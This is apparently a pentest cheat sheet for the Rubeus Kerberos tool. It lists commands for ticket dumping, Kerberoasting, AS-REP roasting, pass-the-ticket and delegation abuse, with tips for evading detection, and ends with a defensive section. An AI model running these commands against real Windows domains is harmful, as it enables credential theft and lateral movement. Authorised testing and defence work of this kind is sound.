| Field | Detail |
|---|---|
| Summary | Kerberos abuse on Windows — roasting, pass-the-ticket, delegation |
| Category | Kerberos abuse (Windows) |
| Phase | post-exploitation, credential-analysis |
| Interface | CLI (Windows / .NET) |
| Platform | Windows |
| Licence | Open source (BSD) |
| Docs | https://github.com/GhostPack/Rubeus |
| Related | Mimikatz, Impacket, John the Ripper and Hashcat, BloodHound and SharpHound, Certipy and ADCS attacks |
Windows/.NET toolkit for Kerberos interaction and abuse — ticket requests, roasting, pass-the-ticket, delegation attacks. The Windows-side counterpart to Impacket's Kerberos scripts; you run it from a foothold on a domain-joined host.
⚠️ Warning — Scope & detection Ticket requests and roasting are logged (Event IDs 4768/4769), and the stock binary is flagged by EDR. These are post-compromise techniques for authorised engagements only; include the defensive notes below in any write-up.
Triage / harvesting
Rubeus.exe triage # table of all tickets in all sessions (TGT/TGS, who, expiry)
Rubeus.exe klist # current session's tickets
Rubeus.exe dump # dump ticket bytes (needs elevation for other sessions)
Rubeus.exe dump /luid:0x3e7 /service:krbtgt
Roasting (crackable material)
# Kerberoast — service tickets for SPN accounts -> crack offline
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:svc_sql /simple
Rubeus.exe kerberoast /stats # count roastable accounts first (quieter)
Rubeus.exe kerberoast /rc4opsec # only accounts not requiring AES (safer/quieter)
# AS-REP roast — accounts with pre-auth disabled
Rubeus.exe asreproast /outfile:asrep.txt
Rubeus.exe asreproast /user:jdoe /format:hashcat
Crack with John the Ripper and Hashcat: Kerberoast = mode 13100, AS-REP = mode 18200.
💡 Tip —
/rc4opsecand/statsfirst Requesting RC4 (type 23) tickets for every SPN is a classic detection signature. Check/stats, and prefer/rc4opsecto only roast accounts where it won't downgrade from AES.
Ticket requests & pass-the-ticket
# Request a TGT from a password / hash / AES key
Rubeus.exe asktgt /user:jdoe /password:Pass123 /domain:corp.local
Rubeus.exe asktgt /user:jdoe /rc4:<NThash> /nowrap
Rubeus.exe asktgt /user:jdoe /aes256:<key> /ptt # overpass-the-hash, inject to session
# Pass-the-ticket — inject a .kirbi/base64 ticket
Rubeus.exe ptt /ticket:ticket.kirbi
Rubeus.exe ptt /ticket:<base64blob>
Delegation attacks (theory-heavy)
# Unconstrained delegation — monitor for and capture TGTs
Rubeus.exe monitor /interval:5 /nowrap
Rubeus.exe tgtdeleg # grab a usable TGT for the current user
# Constrained / RBCD (resource-based constrained delegation) — S4U abuse
Rubeus.exe s4u /user:svc /rc4:<hash> /impersonateuser:administrator \
/msdsspn:cifs/target.corp.local /ptt
These chain with BloodHound and SharpHound, which identifies which accounts/computers have the delegation rights worth abusing.
Change/reset tickets
Rubeus.exe changepw /ticket:<b64> /new:NewPass123 # reset a password using a ticket
Rubeus.exe renew /ticket:<b64>
Rubeus vs Impacket (same attacks, different side)
| Task | Rubeus (Windows) | Impacket (Linux) |
|---|---|---|
| Kerberoast | kerberoast |
GetUserSPNs.py -request |
| AS-REP roast | asreproast |
GetNPUsers.py |
| Request TGT | asktgt |
getTGT.py |
| S4U / delegation | s4u |
getST.py |
| Pass-the-ticket | ptt |
export KRB5CCNAME=... |
Defensive angle (be able to explain)
- Strong service-account passwords (25+ chars, managed/gMSA) — kills offline roasting.
- AES-only Kerberos (disable RC4) and alert on RC4 ticket requests.
- Disable "do not require pre-auth" — removes AS-REP roasting.
- Remove unconstrained delegation; use RBCD carefully; protect privileged accounts ("Protected Users" group, "account is sensitive and cannot be delegated").
- Detect: 4769 spikes/RC4 (roasting), 4768 anomalies, honeypot SPN accounts.
More actions
Rubeus.exe harvest /interval:30 # continuously collect TGTs from memory
Rubeus.exe hash /password:Pass123 /user:svc /domain:corp.local # compute RC4/AES keys
Rubeus.exe asktgs /ticket:tgt.kirbi /service:cifs/host /ptt
Rubeus.exe s4u /self /impersonateuser:admin /altservice:cifs/host /ticket:<b64> /ptt # RBCD
Rubeus.exe describe /ticket:<b64> # decode a ticket
Rubeus.exe kerberoast /tgtdeleg # roast without sending a TGS (opsec)
Rubeus.exe renew /ticket:<b64> /autorenew
Rubeus.exe changepw /ticket:<b64> /new:New123!
/nowrap prints base64 on one line for easy copy; feed roast output to Hashcat 13100 / 18200.
Kill-chain usage
Post-exploitation
Rubeus.exe kerberoast /outfile:h.txt # request roastable TGS tickets
Credential access
Rubeus.exe asktgt /user:u /rc4:<hash> /ptt # overpass-the-hash -> TGT
Where it fits
The Windows-side Kerberos engine once you have a domain foothold: roast for crackable creds, overpass-the-hash to move laterally, and abuse delegation for privilege escalation — guided by BloodHound and SharpHound and complementing Mimikatz credential extraction. Pairs with Certipy and ADCS attacks for certificate-based Kerberos auth (PKINIT).